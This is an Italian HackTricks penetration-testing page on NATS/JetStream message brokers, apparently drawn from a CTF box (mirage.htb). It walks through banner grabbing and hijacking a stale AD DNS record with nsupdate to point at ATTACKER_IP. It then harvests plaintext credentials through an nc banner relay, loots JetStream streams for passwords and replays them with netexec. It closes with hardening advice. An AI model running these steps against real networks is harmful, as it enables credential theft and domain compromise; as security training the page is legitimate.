4222 - Pentesting NATS / JetStream
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
NATS è un bus di messaggi ad alte prestazioni che utilizza un semplice protocollo testuale: il server trasmette un banner JSON INFO { ... } immediatamente dopo la connessione TCP, e il client risponde con un frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} seguito dai comandi opzionali PING/PUB/SUB. JetStream aggiunge primitive di persistenza (Streams & Consumers) sopra lo stesso porto TCP (4222/tcp). TLS e l’autenticazione sono opzionali, quindi molte distribuzioni interne girano con plaintext AUTH.
- Porta predefinita: 4222/tcp (4223+ per le rotte del cluster)
- Campi del banner di default:
"version","auth_required","jetstream","max_payload","tls_required"
Enumerazione
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Il frame INFO può anche essere estratto manualmente:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Installa la CLI ufficiale (Go ≥1.21) per un’interazione più approfondita:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
I fallimenti di autenticazione generano immediatamente nats: Authorization Violation, quindi sono necessarie creds valide per qualsiasi RPC significativo.
Credential capture via DNS/service impersonation
- Individua voci AD DNS obsolete per l’hostname del broker (es.
nats-svc.domain.local). Se il record restituisceNXDOMAIN, un utente di dominio con privilegi ridotti può ricrearlo grazie alle ACL predefinite di dynamic-update. Vedi AD DNS Records abuse per il contesto. - Registra l’hostname su un IP controllato dall’attaccante:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Specchia il banner legittimo una volta, poi riproducilo per ogni client che si connette. NATS si fida della prima riga
INFOche vede, quindi dobbiamo solo passarla attraverso un listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Non appena un client interno risolve il nome dirottato, emetterà un frame in chiaro
CONNECTcontenente la coppiauser/passe varie telemetrie (nome client, Go version, livello del protocollo). Poiché non è richiesto nulla oltre il banner INFO, anchencè sufficiente per raccogliere i segreti. - Per engagement di lunga durata, esegui il server ufficiale in locale (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Il logging TRACE mostra già gli username; rimuovendo l’helper per la redaction o sniffando il traffico con Wireshark si rivela la password completa.
JetStream looting & password hunting
Una volta recuperata una qualsiasi credenziale (es. Dev_Account_A), salvala come contesto CLI per evitare di ridigitare:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
La scoperta di JetStream di solito segue questo schema:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
I team di streaming spesso registrano eventi di autenticazione in subject come logs.auth. Se gli sviluppatori persistono il raw JSON in uno stream JetStream, i payloads possono includere plaintext AD usernames and passwords:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
I segreti trattenuti possono quindi essere riprodotti contro servizi Kerberos-only usando netexec smb DC01 -u USER -p PASS -k, permettendo il compromesso completo del dominio.
Hardening & detection
- Forzare TLS (
tls,tls_required, or mTLS viankey/creds). Senza crittografia, INFO/CONNECT leaks credentials a chiunque on-path. - Individuare chi può aggiornare DNS – delegare i service records ad account dedicati e auditare Event IDs 257/252 per hostname ad alto valore. Attivare avvisi di scavenging in modo che i nomi dei broker mancanti non possano essere silenziosamente ri-rivendicati.
- Disabilitare il logging delle credentials. Sanitizzare i secrets prima di pubblicarli su subjects, impostare limiti di retention/age su JetStream e applicare
deny_delete=falsesolo ad operatori trusted. - Monitorare anomalie nei banner – connessioni ripetute e di breve durata, timeout di autenticazione, o INFO banners che non corrispondono al template approvato suggeriscono server spoofed.
References
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

